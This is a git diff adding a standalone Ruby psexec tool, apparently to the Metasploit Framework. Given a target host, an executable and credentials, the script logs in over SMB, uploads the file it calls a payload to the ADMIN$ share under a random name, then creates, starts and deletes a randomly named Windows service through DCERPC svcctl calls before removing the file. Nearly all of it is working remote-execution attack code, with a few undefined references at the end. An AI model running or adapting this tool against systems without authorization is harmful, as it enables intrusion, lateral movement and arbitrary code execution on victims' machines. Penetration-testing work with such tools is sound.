diff --git a/tools/psexec.rb b/tools/psexec.rb new file mode 100644 index 0000000000..b5e1bec8be --- /dev/null +++ b/tools/psexec.rb @@ -0,0 +1,304 @@ +#!/usr/bin/env ruby +# +# +# This is rough and dirty standalone (Rex only) psexec implementation +# + +msfbase = __FILE__ +while File.symlink?(msfbase) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) +end + +$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) +require 'fastlib' +require 'msfenv' + +$:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] + + +require 'rex' +require 'rex/proto/smb' +require 'rex/proto/ntlm' +require 'rex/proto/dcerpc' +require 'rex/encoder/ndr' +require 'rex/proto/smb/simpleclient' + + +# SMB constants from Rex +SIMPLE = Rex::Proto::SMB::SimpleClient +XCEPT = Rex::Proto::SMB::Exceptions +CONST = Rex::Proto::SMB::Constants + + +# Alias over the Rex DCERPC protocol modules +DCERPCPacket = Rex::Proto::DCERPC::Packet +DCERPCClient = Rex::Proto::DCERPC::Client +DCERPCResponse = Rex::Proto::DCERPC::Response +DCERPCUUID = Rex::Proto::DCERPC::UUID +NDR = Rex::Encoder::NDR + + +def print_error(msg) + $stderr.puts "[-] #{msg}" +end + +def print_status(msg) + $stderr.puts "[+] #{msg}" +end + +def print_lines(msg) + $stderr.puts "[+] #{msg}" +end + +def usage + $stderr.puts "#{$0} [host] [exe] [user] [pass]" + exit(0) +end + + +def dcerpc_handle(uuid, version, protocol, opts, rhost) + Rex::Proto::DCERPC::Handle.new([uuid, version], protocol, rhost, opts) +end + +def dcerpc_bind(handle, csocket, csimple, cuser, cpass) + opts = { } + opts['connect_timeout'] = 10 + opts['read_timeout'] = 10 + opts['smb_user'] = cuser + opts['smb_pass'] = cpass + opts['frag_size'] = 512 + opts['smb_client'] = csimple + + Rex::Proto::DCERPC::Client.new(handle, csocket, opts) + end + +def dcerpc_call(function, stub = '', timeout=nil, do_recv=true) + otimeout = dcerpc.options['read_timeout'] + + begin + dcerpc.options['read_timeout'] = timeout if timeout + dcerpc.call(function, stub, do_recv) + rescue ::Rex::Proto::SMB::Exceptions::NoReply, Rex::Proto::DCERPC::Exceptions::NoResponse + print_status("The DCERPC service did not reply to our request") + return + ensure + dcerpc.options['read_timeout'] = otimeout + end +end + + +opt_port = 445 +opt_host = ARGV.shift() || usage() +opt_path = ARGV.shift() || usage() +opt_user = ARGV.shift() || usage() +opt_pass = ARGV.shift() || "" + +opt_share = "ADMIN$" +opt_domain = "." + +socket = Rex::Socket.create_tcp({ 'PeerHost' => opt_host, 'PeerPort' => opt_port.to_i }) + + + + +simple = Rex::Proto::SMB::SimpleClient.new(socket, opt_port.to_i == 445) + +simple.login( + Rex::Text.rand_text_alpha(8), + opt_user, + opt_pass, + opt_domain + #datastore['SMB::VerifySignature'], + #datastore['NTLM::UseNTLMv2'], + #datastore['NTLM::UseNTLM2_session'], + #datastore['NTLM::SendLM'], + #datastore['NTLM::UseLMKey'], + #datastore['NTLM::SendNTLM'], + #datastore['SMB::Native_OS'], + #datastore['SMB::Native_LM'], + #{:use_spn => datastore['NTLM::SendSPN'], :name => self.rhost} +) +simple.connect("\\\\#{opt_host}\\IPC$") + +if (not simple.client.auth_user) + print_line(" ") + print_error( + "FAILED! The remote host has only provided us with Guest privileges. " + + "Please make sure that the correct username and password have been provided. " + + "Windows XP systems that are not part of a domain will only provide Guest privileges " + + "to network logins by default." + ) + print_line(" ") + exit(1) +end + + + +fname = Rex::Text.rand_text_alpha(8) + ".exe" +sname = Rex::Text.rand_text_alpha(8) + + +# Upload the payload to the share +print_status("Uploading payload...") + + +simple.connect(opt_share) + +fd = simple.open("\\#{fname}", 'rwct', 500) +File.open(opt_path, "rb") do |efd| + fd << efd.read +end +fd.close + +print_status("Created \\#{fname}...") + +# Disconnect from the share +simple.disconnect(opt_share) + +# Connect to the IPC service +simple.connect("IPC$") + + +# Bind to the service +handle = dcerpc_handle('367abb81-9844-35f1-ad32-98f038001003', '2.0', 'ncacn_np', ["\\svcctl"], opt_host) +print_status("Binding to #{handle} ...") +dcerpc = dcerpc_bind(handle, socket, simple, opt_user, opt_pass) +print_status("Bound to #{handle} ...") + +## +# OpenSCManagerW() +## + +print_status("Obtaining a service manager handle...") +scm_handle = nil +stubdata = + NDR.uwstring("\\\\#{opt_host}") + + NDR.long(0) + + NDR.long(0xF003F) +begin + response = dcerpc.call(0x0f, stubdata) + if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) + scm_handle = dcerpc.last_response.stub_data[0,20] + end +rescue ::Exception => e + print_error("Error: #{e}") + return +end + + +## +# CreateServiceW() +## + +file_location = "%SYSTEMROOT%\\#{fname}" + +displayname = 'M' + Rex::Text.rand_text_alpha(rand(32)+1) +svc_handle = nil +svc_status = nil + +print_status("Creating a new service (#{sname} - \"#{displayname}\")...") +stubdata = + scm_handle + + NDR.wstring(sname) + + NDR.uwstring(displayname) + + + NDR.long(0x0F01FF) + # Access: MAX + NDR.long(0x00000110) + # Type: Interactive, Own process + NDR.long(0x00000003) + # Start: Demand + NDR.long(0x00000000) + # Errors: Ignore + NDR.wstring( file_location ) + # Binary Path + NDR.long(0) + # LoadOrderGroup + NDR.long(0) + # Dependencies + NDR.long(0) + # Service Start + NDR.long(0) + # Password + NDR.long(0) + # Password + NDR.long(0) + # Password + NDR.long(0) # Password +begin + response = dcerpc.call(0x0c, stubdata) + if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) + svc_handle = dcerpc.last_response.stub_data[0,20] + svc_status = dcerpc.last_response.stub_data[24,4] + end +rescue ::Exception => e + print_error("Error: #{e}") + exit(1) +end + +## +# CloseHandle() +## +print_status("Closing service handle...") +begin + response = dcerpc.call(0x0, svc_handle) +rescue ::Exception +end + +## +# OpenServiceW +## +print_status("Opening service...") +begin + stubdata = + scm_handle + + NDR.wstring(sname) + + NDR.long(0xF01FF) + + response = dcerpc.call(0x10, stubdata) + if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) + svc_handle = dcerpc.last_response.stub_data[0,20] + end +rescue ::Exception => e + print_error("Error: #{e}") + exit(1) +end + +## +# StartService() +## +print_status("Starting the service...") +stubdata = + svc_handle + + NDR.long(0) + + NDR.long(0) +begin + response = dcerpc.call(0x13, stubdata) +rescue ::Exception => e + print_error("Error: #{e}") + exit(1) +end + +# +# DeleteService() +## +print_status("Removing the service...") +stubdata = svc_handle +begin + response = dcerpc.call(0x02, stubdata) + if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) + end +rescue ::Exception => e + print_error("Error: #{e}") +end + +## +# CloseHandle() +## +print_status("Closing service handle...") +begin + response = dcerpc.call(0x0, svc_handle) +rescue ::Exception => e + print_error("Error: #{e}") +end + +begin + print_status("Deleting \\#{fname}...") + select(nil, nil, nil, 1.0) + simple.connect(smbshare) + simple.delete("\\#{fname}") +rescue ::Interrupt + raise $! +rescue ::Exception + #raise $! +end +